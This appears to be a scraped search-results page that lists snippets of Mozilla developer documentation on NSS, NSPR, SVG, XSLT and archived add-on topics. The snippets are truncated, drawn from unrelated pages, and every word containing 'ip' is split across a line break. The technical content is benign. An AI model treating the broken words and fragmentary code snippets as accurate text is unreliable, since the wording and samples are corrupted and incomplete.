ipt source location where they were created.
...the following two lines show the output before and after being post-processed by that scr
ipt.
...And 3 more matches
TraceMalloc
gegtk 476 2197708 341 2366564 -135 168856 9.32 nsmemcacherecord 843 45767 2328 124767 1485 79000 4.36 nstextnode 209 11704 1614 90384 1405 78680 4.34 htmlattributesimpl 482 14288 2824 88400 2342 74112 4.09 nsscanner 58 76824 94 146300 36 69476 3.83 nsscr
ipterror 253 25070 842 91548 589 66478 3.67 nshtmldocument.mreferrer 177 21550 691 85460 514 63910 3.53 nshtmlvalue 139 7846 1215 68734 1076 60888 3.36 htmlcontentsink 6 4816 12 57782 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be ...
... also, your javascr
ipt can call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log events for all log files.
... tracemallocopenlogfile(filename) - open a new log file and return its log file descr
iptor (or -1 on error).
...And 3 more matches
Midas editor module security preferences
to protect users' private information, unprivileged scr
ipts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component.
... add these lines to user.js: user_pref("capability.policy.policynames", "allowcl
ipboard"); user_pref("capability.policy.allowcl
ipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowcl
ipboard.cl
ipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowcl
ipboard.cl
ipboard.paste", "allaccess"); change the url https://www.mozilla.org to the site for which you want to enable this function.
...the cl
ipboard buttons in the demo, or similar buttons on the sites you listed, should now function.
...And 3 more matches
I/O Functions
functions that operate on pathnames functions that act on file descr
iptors directory i/o functions socket man
ipulation functions converting between host and network addresses memory-mapped i/o functions anonymous p
ipe function polling functions pollable events man
ipulating layers functions that operate on pathnames a file or directory in a file system is specified by its pathname.
... pr_open pr_delete pr_getfileinfo pr_getfileinfo64 pr_rename pr_access type praccesshow functions that act on file descr
iptors pr_close pr_read pr_write pr_writev pr_getopenfileinfo pr_getopenfileinfo64 pr_seek pr_seek64 pr_available pr_available64 pr_sync pr_getdesctype pr_getspecialfd pr_createp
ipe directory i/o functions pr_opendir pr_readdir pr_closedir pr_mkdir pr_rmdir socket man
ipulation functions the network programming interface presented here is a socket api modeled after the p...
... pr_createfilemap pr_memmap pr_memunmap pr_closefilemap anonymous p
ipe function pr_createp
ipe polling functions this section describes two of the most important polling functions provided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descr
iptor.
...And 3 more matches
PR_NewTCPSocket
creates a new
ipv4 tcp socket.
... syntax #include <prio.h> prfiledesc* pr_newtcpsocket(void); returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened
ipv4 tcp socket.
... descr
iption tcp (transmission control protocol) is a connection-oriented, reliable byte-stream protocol of the tcp/
ip protocol suite.
...And 3 more matches
NSS 3.15.2 release notes
new in nss 3.15.2 new functionality aes-gcm c
iphersuites: aes-gcm c
ipher suite (rfc 5288 and rfc 5289) support has been added when tls 1.2 is negotiated.
... specifically, the following c
ipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_c
ipherfinal has been introduced, which is a simple alias for pk11_digestfinal.
...new pkcs #11 mechanisms no new pkcs#11 mechanisms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm c
iphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures.
...And 3 more matches
NSS Config Options
nss config options format the specified c
iphers will be allowed by policy, but an application may allow more by policy explicitly: config="allow=curve1:curve2:hash1:hash2:rsa-1024..." only the specified hashes and curves will be allowed: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1" only the specified hashes and curves will be allowed, and rsa keys of 2048 or more will be accepted, and dh key exchange with 1024-bit primes or more: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1:min-rsa=2048:min-dh=1024" a policy that enables the aes c
iphersuites and the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl co...
... future key words (not yet implemented): enable: turn on c
iphersuites by default.
... disable: turn off c
iphersuites by default without disallowing them by policy.
...And 3 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <
ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "commands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); ...
... progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <
ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", ...
... progname, "-v -b <headerfilename> -i <
ipfilename> "); fprintf(stderr, "options:\n\n"); fprintf(stderr, "%-30s - db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-30s - db password [optional]\n\n", "-p <dbpwd>"); fprintf(stderr, "%-30s - db password file [optional]\n\n", "-f <dbpwdfile>"); fprintf(stderr, "%-30s - noise file name [optional]\n\n", "-z <noisefilename>"); fprintf(stderr, "%-30s - input file name\n\n", "-i <
ipfilename>"); fprintf(stderr, "%-30s - header file name\n\n", "-b <headerfilename>"); fprintf(stderr, "%-30s - encrypt file name\n\n", "-e <encryptfilename>"); fprintf(stderr, "%-30s - output file name\n\n", ...
...And 3 more matches
nss tech note3
certusageemailsigner ......... used to verify s/mime email signatures certusageemailrec
ipient ...... used to encrypt s/mime emails.
... there are 8 key usages: cert_sign crl_sign data_enc
ipherment digital_signature govt_approved key_agreement key_enc
ipherment non_repudiation there are 9 cert types: email email_ca object_signing object_signing_ca ssl_ca ssl_client ssl_server status_responder time_stamp for the cert being checked, the requirements are: cert usage requried key usage required cert type -------------------- -------------------- -----------------...
...------ sslclient: digital_signature; ssl_client; sslserver: key_agreement or key_enc
ipherment; ssl_server; sslserverwithstepup: govt_approved and ssl_server key_agreement or key_enc
ipherment sslca: cert_sign; ssl_ca; emailsigner: digital_signature; email; emailrec
ipient: key_agreement or key_enc
ipherment; email; objectsigner: digital_signature; object_signing; statusresponder: digital_signature; status_responder; verifyca cert_sign ssl_ca or email_ca or object_signing_ca or status_responder for ca certs in the cert chain, the requirements are: cert usage requried key usage required cert type -------------------- -------------------- ----------------------- sslserverwithstepup: govt_approved and cert_sign; ssl_ca; sslclie...
...And 3 more matches
NSS tools : crlutil
please contribute to the initial review in mozilla nss bug 836477[1] descr
iption the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... -c crl-gen-file specify scr
ipt file that will be used to control crl generation/modification.
... see crl-cr
ipt-file format below.
...And 3 more matches
pkfnc.html
descr
iption a nickname is an alias for a certificate subject.
... there may be mult
iple certificates with the same subject, and hence the same nickname.
... descr
iption when you are finished with the private key structure returned by pk11_findkeybyanycert, you must free it by calling seckey_destroyprivatekey.
...And 3 more matches
ssltyp.html
syntax #include <certt.h> typedef struct certcertificatestr certcertificate; descr
iption certificate structures are shared objects.
...the use of the word "destroy" in function names or in the descr
iption of a function often implies reference counting.
... syntax #include <seccomon.h> #include <prtypes.h> #include <secport.h> typedef enum { sibuffer, sicleardatabuffer, sic
ipherdatabuffer, sidercertbuffer, siencodedcertbuffer, sidernamebuffer, siencodednamebuffer, siasciinamestring, siasciistring, sideroid } secitemtype; typedef struct secitemstr secitem; struct secitemstr { secitemtype type; unsigned char *data; unsigned int len; }; descr
iption a secitem structure can be used to associate your own data with an ssl socket.
...And 3 more matches
NSS Tools cmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of rec
ipients to which you would like to send an encrypted message.
... if this is the first encrypted message for that set of rec
ipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
... -r rec
ipient1,rec
ipient2, .
...And 3 more matches
NSS tools : crlutil
synopsis crlutil [options] arguments descr
iption the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... -c crl-gen-file specify scr
ipt file that will be used to control crl generation/modification.
... see crl-cr
ipt-file format below.
...And 3 more matches
Proxies in Necko
this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: ns
iproxyinfo, ns
iprotocolproxyservice, and ns
iproxiedprotocolhandler ns
iproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port.
...it first asks the ns
iprotocolproxyservice for an ns
iproxyinfo.
... depending on the type of the proxy info, it either asks the http protocol handler or the protocol handler for the requested uri for a new channel with the ns
iproxyinfo - if the channel supports ns
iproxiedprotocolhandler.
...And 3 more matches
x - SVG: Scalable Vector Graphics
if there are mult
iple values, x defines the x coordinate of each individual glyph from the text.
...he text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="90%" x2="100%" y2="90%" /> <!-- vertical line to materialized the x positioning --> <line x1="25%" y1="0" x2="25%" y2="100%" /> <line x1="50%" y1="0" x2="50%" y2="100%" /> <line x1="75%" y1="0" x2="75%" y2="100%" /> <!-- x with a single value --> <text y="40%" x="50%">svg</text> <!-- x with mult
iple values --> <text y="90%" x="25%, 50%, 75%">svg</text> </svg> text { font: 40px sans-serif; } line { fill: none; stroke: red; stroke-width: .5px; stroke-dasharray: 2px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
... if there are mult
iple values, x defines the x coordinate of each individual glyph from the text.
...And 2 more matches
xlink:href - SVG: Scalable Vector Graphics
22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <scr
ipt>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
... refer to the descr
iptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations.
... value <iri> default value none animatable yes scr
ipt for <scr
ipt>, xlink:href defines a reference to an external resource containing the scr
ipt code.
...And 2 more matches
y - SVG: Scalable Vector Graphics
if there are mult
iple values, y defines the y coordinate of each individual glyph from the text.
...the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="60%" x2="100%" y2="60%" /> <line x1="0" y1="80%" x2="100%" y2="80%" /> <!-- vertical line to materialized the x positioning --> <line x1="5%" y1="0" x2="5%" y2="100%" /> <line x1="55%" y1="0" x2="55%" y2="100%" /> <!-- y with a single value --> <text y="40%" x="5%">svg</text> <!-- y with mult
iple values --> <text y="40%,60%,80%" x="55%">svg</text> </svg> text { font: 40px sans-serif; } line { fill: none; stroke: red; stroke-width: .5px; stroke-dasharray: 2px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
... if there are mult
iple values, y defines the y coordinate of each individual glyph from the text.
...And 2 more matches
<svg> - SVG: Scalable Vector Graphics
value type: <string> ; default value: none; animatable: no contentscr
ipttype deprecated since svg 2 the default scr
ipting language used by the svg fragment.
... value type: <string> ; default value: application/ecmascr
ipt; animatable: no contentstyletype deprecated since svg 2 the default style sheet language used by the svg fragment.
... global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes, document event attributes, document element event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomple...
...And 2 more matches
SVG element reference - SVG: Scalable Vector Graphics
svg elements a to z a <a> <animate> <animatemotion> <animatetransform> c <circle> <cl
ippath> <color-profile> d <defs> <desc> <discard> e <ell
ipse> f <feblend> <fecolormatrix> <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <fedistantlight> <fedropshadow> <feflood> <fefunca> <fefuncb> <fefuncg> <fefuncr> <fegaussianblur> <feimage> <femerge> <femergenode> <femorphology> <feoffset> <fepointlight> <fespecularlighting> <fespot...
...light> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpatch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <scr
ipt> <set> <solidcolor> <stop> <style> <svg> <switch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <view> svg elements by category animation elements <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, <mpath>, <set> basic shapes <circle>, <ell
ipse>, <line>, <polygon>, <polyline>, <rect> container elements <a>, <defs>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, <symb...
...ol>, <unknown> descr
iptive elements <desc>, <metadata>, <title> filter primitive elements <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>,<fefunca>, <fefuncb>, <fefuncg>, <fefuncr>,<fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence> font elements <font>, <font-face>, <font-face-format>, <font-face-name>, <font-face-src>, <font-face-uri>, <hkern>, <vkern> gradient elements <lineargradient>, <meshgradient>, <radialgradient>, <stop> graphics elements <circle>, <ell
ipse>, <image>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect>, <text>, <use> graphics referencing elements <mesh>, <use> light sour...
...And 2 more matches
Getting started - SVG: Scalable Vector Graphics
finally, svg can be created dynamically with javascr
ipt and injected into the html dom.
... due to the potentially massive size svg files can reach when used for some applications (e.g., geographical applications), the svg specification also allows for gz
ip-compressed svg files.
...unfortunately, it is very problematic to get gz
ip-compressed svg files to work reliably across all svg capable user agents when served from a microsoft iis server, and firefox cannot load gz
ip-compressed svg from the local computer.
...And 2 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
it shows how javascr
ipt and css can be used to man
ipulate the picture in the same way you would scr
ipt regular html.
... source here is the source to the example: <html> <head> <title>xtech svg demo</title> <style> stop.begin { stop-color:yellow; } stop.end { stop-color:green; } body.invalid stop.end { stop-color:red; } #err { display:none; } body.invalid #err { display:inline; } </style> <scr
ipt> function signalerror() { document.getelementbyid('body').setattribute("class", "invalid"); } </scr
ipt> </head> <body id="body" style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> <form> <fieldset> <legend>html form</legend> <p><label>enter something:</label> <input type="text"> <span id="err">incorrect value!</span></p> <p><input type="button" value="activate!" onclick="signalerror();"></p> </fieldset> </form> <svg v...
...sition:absolute; top:0; left:0; z-index:-1;"> <lineargradient id="gradient"> <stop class="begin" offset="0%"/> <stop class="end" offset="100%"/> </lineargradient> <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /> <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /> </svg> </body> </html> discussion the page is mainly regular html, css and javascr
ipt.
...And 2 more matches
SVG fonts - SVG: Scalable Vector Graphics
since accessing the correct font file is however crucial for rendering text correctly, a font descr
iption technology was added to svg to provide this ability.
... it was not meant for compatibility with other formats like postscr
ipt or otf, but rather as a simple means of embedding glyph information into svg when rendered.
...the font-weight and font-style attributes have the same purpose as the equivalent descr
iptors in css.
...And 2 more matches
Using shadow DOM - Web Components
the shadow dom spec has made it so that you are allowed to actually man
ipulate the shadow dom of your own custom elements.
...this takes as its parameter an options object that contains one option — mode — with a value of open or closed: let shadow = elementref.attachshadow({mode: 'open'}); let shadow = elementref.attachshadow({mode: 'closed'}); open means that you can access the shadow dom using javascr
ipt written in the main page context, for example using the element.shadowroot property: let myshadowdom = mycustomelem.shadowroot; if you attach a shadow root to a custom element with mode: closed set, you won't be able to access the shadow dom from the outside — mycustomelem.shadowroot returns null.
... if you are attaching a shadow dom to a custom element as part of its constructor (by far the most useful application of the shadow dom), you would use something like this: let shadow = this.attachshadow({mode: 'open'}); when you've attached a shadow dom to an element, man
ipulating it is a matter of just using the same dom apis as you use for the regular dom man
ipulation: let para = document.createelement('p'); shadow.appendchild(para); // etc.
...And 2 more matches
Index - XPath
25 document xslt, xslt_reference the document finds a node-set in an external document, or mult
iple external documents, and returns the resulting node-set.
... 39 normalize-space xslt, xslt_reference the normalize-space function str
ips leading and trailing white-space from a string, replaces sequences of whitespace characters by a single space, and returns the resulting string.
... 55 index index, reference, xpath, xslt found 57 pages: 56 introduction to using xpath in javascr
ipt add-ons, dom, extensions, javascr
ipt, transforming_xml_with_xslt, web development, xml, xpath, xslt this document describes the interface for using xpath in javascr
ipt internally, in extensions, and from websites.
...And 2 more matches
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
this has been possible for a while when using the xsltprocessor in javascr
ipt.
... <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascr
ipt.
... if there are mult
iple xml-stylesheet pis the parameters apply to all stylesheets as a consequence of that all stylesheets are imported into a single stylesheet per the xslt spec.reference?
...And 2 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the descr
iption of netscape's capabilities that follows.
...this representation, called the tree, is what is actually man
ipulated by the processor.
...the only requirements concern the disposition of objects in the tree, their properties, and their relationsh
ips.
...And 2 more matches
Introduction - XSLT: Extensible Stylesheet Language Transformations
introduction with modern browsers supporting xslt, developers can now use javascr
ipt to access the power that xslt provides.
... javascr
ipt can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document.
... xslt allows the author to directly man
ipulate the structure of a document.
...And 2 more matches
Loading and running WebAssembly code - WebAssembly
to use webassembly in javascr
ipt, you first need to pull your module into memory before compilation/instantiation.
... webassembly is not yet integrated with <scr
ipt type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports.
...this is analogous to new function(string), except that we are substituting a string of characters (javascr
ipt source code) with an array buffer of bytes (webassembly source code).
...And 2 more matches
High-Level APIs - Archive of obsolete content
cl
ipboard interact with the system cl
ipboard, setting and getting its contents.
... l10n localize strings appearing in the add-on's javascr
ipt code.
... page-mod run scr
ipts in the context of web pages whose url matches a given pattern.
... tabs open, man
ipulate, and access tabs, and receive tab events.
Case Sensitivity in class and id Names - Archive of obsolete content
in the authoring of both css and javascr
ipt/dom (otherwise known as dhtml) routines, it is a near-certainty that class and id names will be used to identify elements.
...the most common case is where the name uses different case in the document source than is found in the css or javascr
ipt.
...(for a detailed explanation of what html 4.01 says, see the following section, "why so case-sensitive?") the only way to avoid this particular problem is to make sure that your class and id names have consistent case throughout the entire document, and with respect to your css and javascr
ipt.
...mult
iple class names must be separated by white space characters.
List of Former Mozilla-Based Applications - Archive of obsolete content
applications that switched to another technology name descr
iption additional information angelsoft tools for startups, vcs, and angel investors switched from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 ep
iphany browser switched from gecko to webkit flock social browsing...
...nner app initially but now uses adobe air rift technologies software installation over internet no longer using mozilla technology -- need confirmation and details second life virtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name descr
iption additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last news item on site from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compus...
...old article available about how borland embedded mozilla in kylix 2 mango im client last news item on site from january 2007 mobidvd dvd/vcd/cd r
ipping software site down mozilla suite internet application suite development shifted to firefox, thunderbird and seamonkey applications netscape navigator browser support for netscape ended on february 1, 2008 nvu web authoring tool development stopped in 2005 and is being continued as an unofficial bugfix release by the kompozer project pog...
...o browser from at&t site no longer accessible as of may 2009 pyro desktop desktop environment last news item on site from july 2007 scr
ipt editor editor inactive sk
ipstone gtk+ browser last news item on site from february 2008 xabyl visual xbl editor inactive xulplayer media player last project update on 3/14/09 zoomcreator photo collage tool on april 29, 2010 the site announced zoomara was shutting down.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
package it there is a subdirectory named cab/ which contains a scr
ipt and a readme.txt for producing your own signed cab files.
... manual installation assuming you have the precompiled pluginhostctrl.dll and wish to install it on a machine, you must register it either through an install scr
ipt or manually: regsvr32 pluginhostctrl.dll you must have administrator privileges to install a new control on operating systems such as windows nt, 2000 & xp.
... liveconnect scr
ipting is not supported.
... if you need scr
ipting functionality, consider sh
ipping a modified pluginhostctrl.dll that exposes methods you wish to call on your plugin.
Protecting Mozilla's registry.dat file - Archive of obsolete content
in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of w
iping any non-microsoft subfolders from %userprofile%\application data, including mozilla's .
... in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon scr
ipt.
... moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon scr
ipt is finished before ie's "personnalized settings" have completed their dirty deed...
... in summary, you can use the following series of commands in your logon scr
ipt (usually stored in /home/samba/netlogon/startup.bat on the server): rem ================================================== rem mozilla rem ================================================== attrib -r -s "%userprofile%\application data\mozilla" >nul 2>nul attrib -r -s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul mkdir "%userprofile%\application data" >nul 2>nul mkdir "%userprofile%\application data\mozilla" >nul 2>nul copy /b \\server\netlogon\template\"application data"\mozilla\registry.dat "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul regedit /s ...
Structure of an installable bundle - Archive of obsolete content
basic structure of a bundle a bundle may include any of the following files: path from the root of the bundle descr
iption version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap scr
ipt for extensions not requiring a restart (those with <em:bootstrap>true</em:bootstrap> in their install.rdf).
... in some cases a single extension or application may wish to include binary component or plugins for mult
iple platforms, or theme authors might want to include mult
iple platform-specific jar files.
.../platform/linux_x86-gcc3/plugins/libmyplugin.so /platform/winnt_x86-msvc/plugins/myplugin.dll /platform/darwin_ppc-gcc3/plugins/libmyplugin.dylib because xpt files are not platform-specific, any associated xpt files would go in the generic components directory: /components/myplugin.xpt if an extension has non-binary platform-specific code (such as code which uses the windows registry from scr
ipt), it can also use just the operating system identifier as a platform-subdirectory: /platform/winnt/components/registerdoctype.js when platform-specific jar files are used, each platform directory should have its own chrome.manifest file: chrome.manifest chrome/mytheme-base.jar platform/darwin/chrome.manifest platform/darwin/chrome/mytheme-mac.jar platform/winnt/chrome.manifest platform/winnt...
... official references for toolkit api structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes mult
iple-item extension packaging: specific information about mult
iple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps ...
In-Depth - Archive of obsolete content
ton, checkbox-container, checkbox, dialog, dualbutton, dualbutton-dropdown, listbox, menu, menulist-textfield, menulist-button, menulist, menulist-text, progressbar, progresschunk, radio-container, radio, resizer, resizerpanel, separator, scrollbar, statusbar, statusbarpanel, toolbarbutton, toolbox, toolbar, treeheadercell, treeheadersortarrow, treeview, treeitem, treetwisty, treetwistyopen, toolt
ip, textfield, tabpanels, tab, tab-left-edge, tab-right-edge, scrollbartrack-horizontal, scrollbartrack-vertical, scrollbarthumb-vertical, scrollbarthumb-horizontal, scrollbarbutton-right, scrollbarbutton-down, scrollbarbutton-left, scrollbarbutton-up, scrollbargr
ipper-vertical, scrollbargr
ipper-horizontal -moz-border-bottom-colors defines a series of colours.
...this will fl
ip it around so items inside of this box will be displayed bottom to top and right to left.
...values: normal, reverse -moz-image-region this is useful for dividing up an image into mult
iple smaller images.
... it uses a rect() object to determine the cl
ipping region.
Creating regular expressions for a microsummary generator - Archive of obsolete content
for detailed documentation about regular expressions, see core_javascr
ipt_1.5_reference:global_objects:regexp.
... matching mult
iple urls but this expression still only matches the url for a single auction item page.
...but urls can contain mult
iple named parameters separated by ampersands (&), and the parameters can appear in any order, so even though the "item" parameter seems to be necessary, it might not appear right next to "viewitem".
... matching another ebay url we now have a regular expression that matches auction item urls, including those with mult
iple query parameters in any order.
DTrace - Archive of obsolete content
probe data can be collected with scr
ipts written in d (no, not that one).
... documentation writing scr
ipts a general introduction to writing d scr
ipts and using the built-in mozilla probes.
... optimizing javascr
ipt with dtrace a guide on profiling javascr
ipt code using dtrace.
... community dtrace forums #dtrace on irc.freenode.org sun's dtrace howto guide tools nightly trunk builds for solaris dtracetoolkit related topics javascr
ipt ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
main roles nsdocshell this class corresponds, basically, to a "window" object in javascr
ipt -- each frame, iframe, content area, tab, etc has its own docshell.
...the prose descr
iption below has been updated.
...these can come in via nsiwebnavigation (a scr
iptable embedding interface) or nsilinkhandler (an internal interface used for link clicks).
...if so, it sk
ips trying to find an internal viewer and goes right over to looking for a stream converter.
Style System Overview - Archive of obsolete content
style contexts own their parents, since inheritance operates through style context parents (ugly when we have mult
iple frames per content node).
...[design flaw in frame/sc relationsh
ip] three functions for creating style contexts on nsistyleset, wrapped by similarly named ones on ns
iprescontext: resolvestylecontextfor: for elements.
... resolvepseudostylecontextfor: for pseudo-elements (:first-letter, :before, etc.) resolvestylecontextfornonelement: sk
ips rule matching and uses root rule node (text frame optimization) managing style contexts style context resolving functions will walk the rule processors in stylesetimpl::filerules, find the correct rule node, and find a current child of the parent (“sibling sharing”) or create a new child.
... as for other style changes, we have to “walk” the rule tree and clear all the style data coming from the old inline style nsistylerule, since there could be an !important rule that overrides it, which would allow dynamic changes to put the style attribute in mult
iple places in the rule tree.
GRE Registration - Archive of obsolete content
linux on linux, registration information is kept in ini-style files of the following form: [1.7.10] gre_path=/usr/lib/mozilla-1.7.10 feature=value feature2=value2 these ini files can be in any of the following locations: /etc/gre.conf /etc/gre.d/*.conf ~/.gre.conf ~/.gre.d/*.conf mozilla has never officially sh
ipped a linux gre based on the mozilla suite.
... however, some linux distributors including red hat/fedora core sh
ip /etc/gre.d/*.conf files with the mozilla suite rpms.
... xulrunner rpms/post-install scr
ipts should register xulrunner as a gre by running <tt>xulrunner -register-global</tt> and not hand-create a .conf file.
... the <tt>-register-global</tt> flag has special fallback semantics so that mult
iple xulrunners of the same version can be installed without overwriting registration files.
Helper Apps (and a bit of Save As) - Archive of obsolete content
launching a helper application this is delegated to the nspiexternalapplauncher (also implemented by the nsexternalhelperapphandler): windows: launch either directly via ns
iprocess or via the ::shellexecute() method depending on where the mimeinfo came from.
... unix: launch directly via ns
iprocess.
... security considerations mult
iple checks for whether a file is executable (on windows) to keep from launching such files via ::shellexecute().
... no support for mult
iple commands connected by p
ipes (mostly useful on unix).
Enabling Experimental Jetpack Features - Archive of obsolete content
in python, you can call from __future__ import foo which adds the functionality that foo yields to the scr
ipt.
...methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt.
...string here is an example of how to import a feature (the cl
ipboard) from the future.
... jetpack.future.import("cl
ipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the scr
ipt (barring any other changes made during integration).
Enabling - Archive of obsolete content
in python, you can call from __future__ import foo which adds the functionality that foo yields to the scr
ipt.
...methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt.
...string here is an example of how to import a feature (the cl
ipboard) from the future.
... jetpack.future.import("cl
ipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the scr
ipt (barring any other changes made during integration).
Enabling Experimental Jetpack Features - Archive of obsolete content
in python, you can call from __future__ import foo which adds the functionality that foo yields to the scr
ipt.
...methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt.
...string here is an example of how to import a feature (the cl
ipboard) from the future.
... jetpack.future.import("cl
